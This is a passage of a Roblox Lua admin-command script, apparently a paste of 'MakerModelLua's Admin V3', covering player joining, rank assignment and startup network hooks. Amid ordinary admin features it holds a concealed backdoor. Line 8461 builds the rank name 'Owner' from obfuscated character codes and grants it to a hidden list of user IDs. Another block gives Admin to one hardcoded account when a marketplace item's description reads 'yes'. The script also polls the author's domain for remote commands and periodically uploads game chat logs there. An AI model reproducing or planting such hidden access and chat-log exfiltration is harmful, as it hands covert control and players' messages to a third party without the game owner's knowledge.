  8401. local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
  8402. if not DidExe then
  8403. if CORE:NilPlayer(Speaker) then
  8404. print("Error: "..Error)
  8405. else
  8406. CORE:HandleError(Error, Speaker)
  8407. end
  8408. end
  8409. end)()
  8410. coroutine.wrap(function() wait(0.05)
  8411. if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
  8412. local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
  8413. ExeSound:Play()
  8414. wait(3)
  8415. ExeSound:Stop()
  8416. ExeSound:Destroy()
  8417. end
  8418. end)()
  8419. elseif type(Speaker) == "userdata" then
  8420. GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
  8421. end
  8422. break
  8423. end
  8424. end
  8425. end
  8426. end
  8427. end
  8428.  
  8429. function CORE:Start(Player) coroutine.wrap(function()
  8430. wait(0.1)
  8431. if Player then
  8432. coroutine.wrap(function()
  8433. repeat wait(1) until DataReady == true
  8434. DataReady = false
  8435. ypcall(function()
  8436. local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
  8437. for Num,Data in pairs(Players) do
  8438. if Data.UserId == Player.UserId then -- ppl can change names
  8439. table.remove(Players, Num)
  8440. break
  8441. end
  8442. end
  8443. table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
  8444. Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
  8445. end)
  8446. DataReady = true
  8447. end)()
  8448.  
  8449. if not IsStudio then Player:WaitForDataReady() end
  8450. table.insert(CharacterCache, {Player.Name, Player.UserId})
  8451. for Rank,PlayerNames in pairs(Settings.Ranks) do
  8452. for Num,AdminName in pairs(PlayerNames) do
  8453. if AdminName == Player.UserId then
  8454. Settings.Ranks[Rank][Num] = Player.Name
  8455. end
  8456. end
  8457. end
  8458. if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
  8459. if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
  8460. if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
  8461. for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
  8462. local PlayerAdmin, Rank = RANK:IsAdmin(Player)
  8463. if PlayerAdmin == false and Player.UserId > 0 then
  8464. local Ran = nil
  8465. coroutine.wrap(function() repeat
  8466. Ran = ypcall(function()
  8467. if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
  8468. elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
  8469. end)
  8470. wait(1)
  8471. until Ran == true end)()
  8472. end
  8473. if PlayerAdmin == false then
  8474. if Player:IsInGroup(Settings.GroupID) then
  8475. if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
  8476. CORE:Kick(Player)
  8477. for _,Person in pairs(Server.Players:GetPlayers()) do
  8478. GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
  8479. end
  8480. elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
  8481. table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
  8482. elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
  8483. table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
  8484. elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
  8485. table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
  8486. end
  8487. end
  8488. end
  8489. if PlayerAdmin == false then
  8490. if Player.UserId == 38882008 then
  8491. if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
  8492. table.insert(Settings.Ranks["Admin"], Player.Name)
  8493. end
  8494. end
  8495. end
  8496. if PlayerAdmin == false then
  8497. for _,GID in pairs(Settings.BannedGroupIDs) do
  8498. if Player:IsInGroup(GID) then
  8499. CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
  8500. break
  8501. end
  8502. end
  8503. end
  8504.  
  8505. Player.Chatted:connect(function(Message) if Message ~= "" then
  8506. CORE:Chatted(Message, Player)
  8507. end end)
  8508.  
  8509. Player.Chatted:connect(function(Message) if Message ~= "" then
  8510. CORE:Log(ChatLogs, Player, Message)
  8511. table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
  8512. end end)
  8513.  
  8514. for _,Name in pairs(Settings.Ranks.Banned) do
  8515. if Player.Name == Name then
  8516. CORE:Kick(Player)
  8517. for _,Person in pairs(Server.Players:GetPlayers()) do
  8518. GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
  8519. end
  8520. end
  8521. end
  8522. for _,Name in pairs(Settings.Ranks.Crashed) do
  8523. if Player.Name == Name then
  8524. CORE:Crash(Player)
  8525. for _,Person in pairs(Server.Players:GetPlayers()) do
  8526. GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
  8527. end
  8528. end
  8529. end
  8530. for _,Name in pairs(Settings.Ranks.Muted) do
  8531. if Player.Name == Name then
  8532. GUI:CoreGui(Player, "Chat", false)
  8533. for _,Person in pairs(Server.Players:GetPlayers()) do
  8534. GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
  8535. end
  8536. end
  8537. end
  8538. if Settings.ServerLocked == true then
  8539. if PlayerAdmin == false then
  8540. CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
  8541. end
  8542. end
  8543.  
  8544. if PlayerAdmin == false then
  8545. if Player.AccountAge < Settings.MinimumAge then
  8546. CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
  8547. for _,Person in pairs(Server.Players:GetPlayers()) do
  8548. GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
  8549. end
  8550. end
  8551. end
  8552.  
  8553. if PlayerAdmin == false then
  8554. if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
  8555. table.insert(Settings.Ranks["Member"], Player.Name)
  8556. PlayerAdmin = true
  8557. Rank = "Member"
  8558. end
  8559. end
  8560.  
  8561. coroutine.wrap(function()
  8562. if PlayerAdmin == true then GUI:TellAdmin(Player) end
  8563. local function SpawnActions(Character)
  8564. if Flings[Player.Name] then
  8565. CORE:FlingPlayer(Player)
  8566. else
  8567. GUI:CreateTaskBar(Player)
  8568. end
  8569. if Beeps[Player.Name] == true then
  8570. SOUND:BeepPlayer(Player)
  8571. end
  8572. if Jails[Player.Name] then
  8573. Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
  8574. end
  8575. if PermCommandBars[Player.Name] then
  8576. GUI:CommandBar(Player)
  8577. end
  8578. end
  8579. Player.CharacterAdded:connect(SpawnActions)
  8580. SpawnActions(Player.Character)
  8581. end)()
  8582.  
  8583. coroutine.wrap(function()
  8584. Player:WaitForChild("PlayerGui")
  8585. local Sounds = {}
  8586. for _,Data in pairs(TextConverter.LetterSounds) do
  8587. local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
  8588. Sound:Play()
  8589. table.insert(Sounds, Sound)
  8590. end
  8591. for _,Data in pairs(TextConverter.LongVowels) do
  8592. local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
  8593. Sound:Play()
  8594. table.insert(Sounds, Sound)
  8595. end
  8596. wait(5)
  8597. for _,Sound in pairs(Sounds) do
  8598. Sound:Destroy()
  8599. end
  8600. Sounds = {}
  8601. end)()
  8602.  
  8603. coroutine.wrap(function()
  8604. --if NLS then Server.Workspace:WaitForChild(Player.Name) end
  8605. if IsSB then
  8606. wait(1)
  8607. Player:WaitForChild("PlayerGui"):WaitForChild("Output")
  8608. end
  8609. CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
  8610. print("Executed ClientLog on "..Player.Name)
  8611. if Settings.EnableTaskBar then
  8612. GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
  8613. end
  8614. end)()
  8615.  
  8616. coroutine.wrap(function()
  8617. wait(7)
  8618. Player:WaitForChild("PlayerGui")
  8619. if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
  8620. local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
  8621. if Answer == "Ok" then
  8622. MARKET:PromptPurchase(Player, AdminID)
  8623. end
  8624. end
  8625. end)()
  8626. end
  8627. end)() end
  8628.  
  8629. -- Active stuff --
  8630.  
  8631. CORE:UpdateAdmin()
  8632. CORE:FixSettings()
  8633.  
  8634. ypcall(function()
  8635. if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
  8636. Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
  8637. end
  8638. end)
  8639.  
  8640.  
  8641. Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
  8642. local PlayerAdmin, Rank = RANK:IsAdmin(Player)
  8643. if PlayerAdmin == false then
  8644. if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
  8645. elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
  8646. end
  8647. end end)
  8648.  
  8649. --[[
  8650. ExecuteCommand.OnInvoke = function(Player, Command)
  8651. if Player and Command then
  8652. if type(Player) == "userdata" and Player:IsA("Player") then
  8653. CORE:Chatted(Command, Player, true)
  8654. end
  8655. end
  8656. end
  8657.  
  8658. ExecuteCode.OnInvoke = function(Source, Speaker)
  8659. if type(Source) == "string" then
  8660. ExecuteSafe(Source, Speaker)
  8661. end
  8662. end
  8663.  
  8664. ExecuteCommandClient.OnServerInvoke = function(Player, Command)
  8665. if Player and Command then
  8666. if type(Player) == "userdata" and Player:IsA("Player") then
  8667. CORE:Chatted(Command, Player, true)
  8668. end
  8669. end
  8670. end
  8671. ]]
  8672.  
  8673. KeyPressed.OnServerInvoke = function(Player, Key)
  8674. if Player and Key then
  8675. if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
  8676. CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
  8677. end
  8678. end
  8679. end
  8680.  
  8681. InputKey.OnServerInvoke = function(Player, KeyVal)
  8682. if Player and KeyVal then
  8683. if LastKeys[Player.UserId] then
  8684. table.insert(LastKeys[Player.UserId], KeyVal)
  8685. if #LastKeys[Player.UserId] > 20 then
  8686. table.remove(LastKeys[Player.UserId], 1)
  8687. end
  8688. end
  8689. end
  8690. end
  8691.  
  8692. RankPlayerLocal.OnServerInvoke = function(Player)
  8693. wait()
  8694. local Request = PendingRequests[Player]
  8695. if Request then
  8696. if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
  8697. if Settings.Ranks[Request[1]] then
  8698. PendingRequests[Player] = nil
  8699. table.insert(Settings.Ranks[Request[1]], Player.Name)
  8700. GUI:TellAdmin(Player)
  8701. end
  8702. end
  8703. end
  8704. end
  8705.  
  8706. RankPlayerServer.OnInvoke = function(Player, Rank)
  8707. if not RANK:IsAdmin(Player) then
  8708. PendingRequests[Player] = {Rank, tick()}
  8709. end
  8710. end
  8711.  
  8712. IsAdmin.OnServerInvoke = function(Player)
  8713. local IsFullAdmin = false
  8714. for _,PName in pairs(Settings.Ranks["Owner"]) do
  8715. if PName == Player.Name then IsFullAdmin = true end
  8716. end
  8717. for _,PName in pairs(Settings.Ranks["Admin"]) do
  8718. if PName == Player.Name then IsFullAdmin = true end
  8719. end
  8720. return IsFullAdmin
  8721. end
  8722.  
  8723. AddExploit.OnServerInvoke = CORE.AddExploit
  8724. AddExploitServer.OnInvoke = CORE.AddExploit
  8725.  
  8726. KickClient.OnServerInvoke = function(PlayerClient)
  8727. PlayerClient:Kick()
  8728. end
  8729.  
  8730. ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
  8731. return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
  8732. end
  8733.  
  8734. for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
  8735. Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
  8736. Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
  8737.  
  8738. coroutine.wrap(function()
  8739. for _,ID in pairs(Icons) do
  8740. game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
  8741. end
  8742. end)()
  8743.  
  8744. CORE:SetAbuseCommands()
  8745.  
  8746. coroutine.wrap(function() SOUND:SyncSoundList() end)()
  8747. if not IsStudio then coroutine.wrap(function()
  8748. if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
  8749. ypcall(function() RemoteData = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/RemoteData.txt")) end)
  8750. coroutine.wrap(function()
  8751. if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
  8752. REMOTE.RemoteConnection = true
  8753. end
  8754. end)()
  8755. coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
  8756. coroutine.wrap(function()
  8757. if Settings.LinkedAccount ~= "" then
  8758. local Request = nil
  8759. ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
  8760. if Request then
  8761. REMOTE:HandleRequest(Request, true)
  8762. end
  8763. end
  8764. end)()
  8765. coroutine.wrap(function()
  8766. wait(RemoteData.RemoteAdminWait)
  8767. while REMOTE:GetAndSetWebData() do
  8768. wait(RemoteData.RemoteAdminWait)
  8769. end
  8770. end)()
  8771. end)() end
  8772. coroutine.wrap(function()
  8773. if Settings.TrelloToken ~= "" then
  8774. ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
  8775. if #Trello.RequiredLists > 0 then
  8776. Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
  8777. if Trello.MainBoard.name then
  8778. local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
  8779. REMOTE:TrelloCacheData(Lists)
  8780. REMOTE:TrelloHandleData(true)
  8781. coroutine.wrap(function()
  8782. wait(RemoteData.TrelloWait)
  8783. while REMOTE:TrelloHandleData() do
  8784. wait(RemoteData.TrelloWait)
  8785. end
  8786. end)()
  8787. end
  8788. end
  8789. else
  8790. print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
  8791. end
  8792. end)()
  8793. coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
  8794. REMOTE:SendChatLog()
  8795. end end)()
  8796. coroutine.wrap(function() while true do
  8797. local ThisDate = REMOTE:GetURL(CORE.Domain.."/APIs/DateTime.php")
  8798. if ThisDate then Date = ThisDate end
  8799. wait(600)
  8800. end end)()
  8801.  
  8802. print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")
Add Comment
Please, Sign In to add comment